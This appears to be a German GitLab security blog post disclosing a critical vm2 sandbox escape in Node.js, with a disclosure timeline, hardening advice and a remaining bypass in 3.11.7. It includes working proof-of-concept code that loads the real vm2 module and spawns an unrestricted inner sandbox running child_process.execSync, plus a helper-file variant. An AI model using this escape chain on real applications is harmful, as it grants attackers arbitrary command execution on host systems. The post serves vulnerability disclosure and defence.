Veröffentlicht am: 2. September 2026
11 Minuten Lesezeit
GitLabs Threat Research Group hat einen kritischen Sandbox Escape in vm2 gefunden – ausgelöst durch die dokumentierte Konfiguration der Bibliothek selbst.

Die Threat Research Group von GitLab hat eine kritische Sandbox-Escape-Schwachstelle in vm2 gefunden, einer der am weitesten verbreiteten Sandboxing-Bibliotheken für Node.js. Die Schwachstelle nutzt eine Konfiguration, die unverändert aus der README von vm2 stammt. Gefunden haben wir sie mit unseren eigenen KI-gestützten, automatisierten Werkzeugen; die Bewertung liegt bei CVSS 3.1: 10.0 (kritisch). Wer vm2 in Version 3.11.6 oder älter mit aktiviertem require.external betreibt, sollte die Schwachstelle als unmittelbar ausnutzbar behandeln.
Nach dem Fund haben wir geprüft, dass GitLab vm2 nicht einsetzt. Wir haben die Schwachstelle zudem vertraulich an vm2 gemeldet; der Maintainer hat sie in Version 3.11.7 behoben. Ein erneuter Test gegen diesen Fix zeigte, dass er genau den von uns gemeldeten Angriff blockiert.
Wer vm2 einsetzt, sollte allerdings wissen: Über diesen einen Patch hinaus besteht ein grundsätzlicheres Konfigurationsrisiko. Das ergibt sich aus der Beschreibung des Fixes durch den Maintainer selbst.
TL;DR
Kritische Schwachstelle: Die Threat Research Group von GitLab hat einen kritischen Sandbox Escape (CVSS 3.1: 10.0) in vm2 entdeckt, einer weit verbreiteten Sandboxing-Bibliothek für Node.js. Er ermöglicht Remote Code Execution.
Ursache: Die Schwachstelle geht auf Standardkonfigurationen aus den „Quick Examples“ der README zurück. Die Sandbox grenzt sich dort nicht ausreichend vom Hostsystem ab, wodurch Schadcode uneingeschränkten Zugriff erlangt.
Grenzen des Fixes: Das Update auf Version 3.11.7 blockiert den konkret gemeldeten Angriff, beseitigt das zugrunde liegende Konfigurationsrisiko aber nicht vollständig. Wer require.external weiterhin mit zu weit gefassten require.root-Einstellungen nutzt, bleibt angreifbar.
Sofortmaßnahmen: Auf Version 3.11.7 aktualisieren und zusätzlich die Konfiguration selbst härten: require.root auf die tatsächlich benötigten Dateien beschränken und context: 'sandbox' setzen, statt sich auf den Standardwert 'host' zu verlassen.
Langfristig: Angesichts der wiederkehrenden Sandbox-Escape-Fehler in vm2 empfiehlt es sich, die Bibliothek nicht zur Isolierung tatsächlich nicht vertrauenswürdigen Codes einzusetzen, sondern auf robustere Verfahren wie Container oder separate Prozesse zu setzen.
Anwendungen, die Code ausführen, dem sie nicht vollständig vertrauen – Plugin-Systeme, Coding-Playgrounds, CI-Test-Runner und inzwischen auch Tools, die eine KI ihren eigenen generierten Code ausführen lassen –, können diesen Code nicht einfach an Nodes reguläre Funktionen require() und eval() übergeben. Sonst hätte der Code dieselben Rechte wie die Anwendung selbst.
vm2 soll diese Lücke schließen. Die Bibliothek stellt dem nicht vertrauenswürdigen Code eine nachgebildete JavaScript-Umgebung bereit und blockiert jeden Zugriff auf das darunterliegende reale System. Gelingt einem Angreifer jedoch der Ausbruch aus dieser Sandbox, ist der Schutz wirkungslos – für die Entwickler(innen), die vm2 eingebunden haben, sieht dabei alles unverändert korrekt aus. Und weil so viele Anwendungen vm2 verwenden, wird aus einer Lücke in der Bibliothek eine Lücke in jeder darauf aufbauenden Anwendung.
Das NodeVM von vm2 kennt eine Option require, die steuert, ob der Code in der Sandbox Module außerhalb der JavaScript-Standardmodule laden darf. Das folgende Beispiel ist das erste in der README von vm2, im Abschnitt „Quick Examples“:
const vm = new NodeVM({
require: { external: true, root: './' },
});
external: true erlaubt dem Code in der Sandbox, require() auf externe Dateien anzuwenden. root soll das auf einen sicheren Ordner begrenzen. In einem üblichen npm-Projekt liegt ./node_modules – und damit auch die installierte Kopie von vm2 selbst – jedoch innerhalb von ./. root: './' sieht also nach einer Schutzregel aus, hält vm2 tatsächlich aber nicht draußen.
Zwei Standardeinstellungen in lib/resolver-compat.js machen aus dieser Lücke vollständige Codeausführung:
const {
external: externalOpt,
root: rootPaths,
context = 'host', // defaults to 'host'
...
} = options;
isPathAllowed(filename) {
if (this.rootPaths === undefined) return true;
// otherwise: is filename inside rootPaths?
}
require('./node_modules/vm2') besteht die Prüfung, weil dieser Pfad innerhalb von root liegt. Und weil context standardmäßig auf 'host' steht, wird die Datei über das reale, nicht gesandboxte require() von Node geladen – nicht über den eigenen Loader von vm2:
loadJS(vm, mod, filename) {
if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(vm, mod, filename);
const m = this.hostRequire(filename); // real Node.js require()
mod.exports = vm.readonly(m);
}
Ab diesem Punkt hält der Code in der Sandbox keine eingeschränkte, gekapselte Kopie von vm2 mehr in Händen, sondern das reale Modul mit allen Rechten. Über diese reale Kopie startet er eine zweite NodeVM mit selbst gewählten Regeln:
const real = require('./node_modules/vm2');
const inner = new real.NodeVM({ require: { builtin: ['child_process'], external: false } });
module.exports = inner.run(
"module.exports = require('child_process').execSync('whoami').toString().trim()",
'inner.js'
);
Die Regeln der äußeren Sandbox gelten für die innere nicht, denn es handelt sich um eine völlig neue Sandbox, die der Angreifer selbst erzeugt hat – mit aktiviertem child_process.
Versucht der Angreifer, fs oder child_process direkt aus der äußeren Sandbox heraus zu erreichen, schlägt das weiterhin fehl, wie es soll (require('fs') und require('child_process') werfen beide "Cannot find module"). Alle regulären Sperren greifen. Die einzige Lücke ist das require() einer Datei, die zufällig das Paket von vm2 selbst ist. Dann hält der Angreifer keine blockierte, nachgebildete Kopie mehr in Händen, sondern die reale.
In vm2 gab es bereits zwei frühere Sandbox-Escape-Fehler mit demselben Ergebnis: einen Bypass über nesting: true (GHSA-8hg8-63c5-gwmx) und einen Symlink-Bypass über require.root (GHSA-cp6g-6699-wx9c). Ähnliche Angriffsmuster auf Coding-Agenten hat die Threat Research Group auch in Serena untersucht. Keiner der beiden Fixes berührt diesen Code. Wer beide behoben hat, ist gegenüber dieser Schwachstelle weiterhin vollständig ungeschützt.
Die vollständige Angriffskette Schritt für Schritt:
new NodeVM({ require: { external: true, root: './' } }).vm.run(untrustedCode) führt den Code aus, den der Angreifer kontrolliert.require('./node_modules/vm2') auf. Dabei laufen zwei Dinge falsch, beide in resolver-compat.js:isPathAllowed() gibt true zurück, weil dieser Pfad innerhalb von root liegt.context steht standardmäßig auf 'host', deshalb läuft hostRequire() statt des eigenen Loaders von vm2. Ergebnis: Der Code des Angreifers hält nun das reale, ungekapselte vm2-Modul – keine gesandboxte Kopie.NodeVM mit eigenen Einstellungen: new real.NodeVM({ require: { builtin: ['child_process'] } }). Diese zweite Sandbox steht vollständig unter der Kontrolle des Angreifers.inner.run("require('child_process').execSync(...)") wird ausgeführt, und der Angreifer kann beliebige Befehle auf dem Host ausführen.Der Maintainer hat den Ablauf bestätigt und einen von uns zusätzlich eingereichten Duplikatsbericht (GHSA-w9c4-gw9x-53mq) zugunsten dieses Berichts geschlossen. Der ausgelieferte Fix in lib/resolver-compat.js blockiert ein require() aus der Sandbox auf den lib/-Ordner und die Hauptdatei von vm2. Damit ist der Trick mit der verschachtelten VM unabhängig davon geschlossen, worauf require.root gesetzt ist. nesting: true bleibt unberührt, weil es sich dabei um einen anderen Fehler handelt.
Der Fix greift allerdings enger, als es zunächst wirkt. Wer require.external: true aktiviert, ohne require.root überhaupt zu setzen, erhält von vm2 nun lediglich eine Warnung statt einer Blockade – der Code läuft weiterhin.
Richtet man denselben README-Aufbau jedoch auf eine beliebige andere Datei auf der Festplatte, die child_process bereitstellt – statt auf das Paket von vm2 selbst –, ist auch unter 3.11.7 weiterhin vollständige Remote Code Execution möglich. Ohne Fehlermeldung, ohne Warnung:
// evil-helper/index.js, unrelated to vm2
module.exports = require('child_process');
const cp = require('./evil-helper/index.js');
module.exports = cp.execSync('whoami').toString().trim();
Die neue Warnung in 3.11.7 erscheint nur, wenn root vollständig fehlt. Ist root gesetzt, aber weiterhin zu weit gefasst – genau das tut das README-Beispiel –, gibt es überhaupt keine Warnung. Beide Fälle haben wir selbst nachgeprüft.
Zwei weitere Punkte:
Kurz gefasst: Version 3.11.7 schließt diesen einen Angriffsweg zuverlässig. Das umfassendere Risiko für jede Anwendung, die require.external ohne einen streng abgegrenzten, leeren root-Ordner nutzt, ist das größere und schwierigere Problem – und sollte gesondert angegangen werden.
vm2 wird seit Jahren in Plugin-Systemen, Plattformen zur Codeausführung und CI-Tools eingesetzt – und zunehmend in KI-Tools, die von einem KI-Modell geschriebenen Code ausführen. Die Verbreitung ist in jeder Messung hoch: rund 1,25 Millionen Downloads pro Woche und über 5 Millionen pro Monat auf npm, dazu mehr als 4.000 GitHub-Stars und 328 Forks.
Es handelt sich hier nicht um eine fehlerhafte Einrichtung durch Anwender(innen). Es ist das erste Beispiel in der README von vm2. Wer dieses Beispiel übernommen hat, ohne selbst zu prüfen, wo node_modules relativ zu root liegt, ist standardmäßig betroffen – vor und nach dem Update auf Version 3.11.7, solange require.root nicht selbst eingeschränkt wird.
vm2 bleibt aus den folgenden Gründen angreifbar (einen breiteren Überblick über aktuelle Schwachstellenkategorien bietet die OWASP Top 10 2025):
root: './' liest sich wie eine Begrenzung. Ob tatsächlich etwas begrenzt wird, hängt jedoch vollständig davon ab, was sonst in diesem Ordner liegt.context steht standardmäßig auf 'host'. Dieser Umstand findet sich lediglich in Codekommentaren – anders als bei nesting: true, das eine hervorgehobene Warnung und einen eigenen Abschnitt in der README erhält.nesting: true zum selben Ergebnis einer unbeschränkten verschachtelten VM. Beide Fixes schließen den jeweils gemeldeten Trick zuverlässig. Die gemeinsame Ursache dahinter lässt sich in einem Durchgang schwerer vollständig beseitigen – eine wiederkehrende Schwierigkeit in der Offenlegungshistorie von vm2: Die Bibliothek verzeichnet bis 2026 eine lange Reihe kritischer Sandbox-Escape-Fehler, und bei einigen davon waren nachvollziehbarerweise mehrere Anläufe nötig.Wenn du vm2 einsetzt: Aktualisiere auf Version 3.11.7 – und belasse es nicht dabei. Das Update allein behebt das Problem nicht. Richte require.root auf einen Ordner, der ausschließlich die Dateien enthält, die die Sandbox tatsächlich benötigt, und halte node_modules sowie alles, was direkt oder über eine weitere Datei child_process oder fs erreichen kann, daraus fern. Setze context: 'sandbox' selbst, statt den Standardwert stehen zu lassen. Und angesichts der Historie von vm2: Wähle die Bibliothek in einem neuen Projekt nicht zur Isolierung von tatsächlich nicht vertrauenswürdigem Code. Container oder separate Prozesse bilden die stabilere Grenze.
Wenn du selbst Sandboxing-Werkzeuge entwickelst: Eine Einstellung nach dem Muster „auf diesen Ordner begrenzen“ ist nur so sicher wie die schwächste Datei in diesem Ordner. Prüfe Einstellungen, die verändern, wie Code geladen wird (gesandboxt oder real), ebenso genau wie Einstellungen, die festlegen, was geladen werden darf. Teste die Standardeinstellungen einer Bibliothek selbst, statt ihnen zu vertrauen, weil sie offiziell sind. Und geh nicht davon aus, dass ein Fix das eigentliche Problem löst, nur weil er den einen Testangriff abwehrt.
| Datum | Ereignis |
|---|---|
| 2026-07-23 | Meldung beim Maintainer über ein privates Security Advisory auf GitHub eröffnet |
| 2026-08-18 | Meldung vom Maintainer angenommen |
| 2026-08-18 | Fix im privaten Fork des Maintainers committet |
| 2026-08-18 | Fix im privaten Fork gegen unseren PoC validiert |
| 2026-08-24 | Öffentliches Advisory veröffentlicht; vm2 3.11.7 freigegeben, CVE beantragt |
Wir danken dem Maintainer von vm2 für die Annahme der Meldung und den Fix im selben Release. Die hier dargestellten Ergebnisse bauen auf der Erläuterung des Fixes durch den Maintainer auf. Sie widersprechen ihr nicht.
Der GitLab Duo Security Analyst Agent, Teil der GitLab Duo Agent Platform, kann dabei helfen, die eigene Codebasis auf dasselbe Problem zu prüfen. Eine Frage wie „Führt dieses Projekt nicht vertrauenswürdigen Code über eine Sandboxing-Bibliothek mit aktiviertem require.external aus?“ ist ein guter Ausgangspunkt.
Die Historie von vm2 erinnert daran, dass selbst ein sauber gehandhabter Fix ein umfassenderes Konfigurationsrisiko bestehen lassen kann – schlicht weil der gemeldete Fall und das zugrunde liegende Muster nicht immer dasselbe sind. Wer die Sicherheitshistorie einer Sandboxing-Bibliothek betrachtet, sollte deshalb nicht nur fragen, ob eine Meldung behoben wurde, sondern auch, ob der Fix das breitere Muster abdeckt. Und es lohnt sich immer, die tatsächliche Codeänderung selbst zu prüfen, bevor man anderen gegenüber Entwarnung gibt.
Kostenlose 30-tägige
GitLab-Testversion starten
Keine Kreditkarte erforderlich.
Hat dir dieser Blogbeitrag gefallen? Hast du Fragen oder Feedback? Erstelle ein neues Diskussionsthema im GitLab-Community-Forum und lass andere an deinen Eindrücken teilhaben.
Feedback teilenBeginne noch heute, schneller zu entwickeln
Entdecke, was dein Team mit der intelligenten Orchestrierungsplattform für DevSecOps erreichen kann.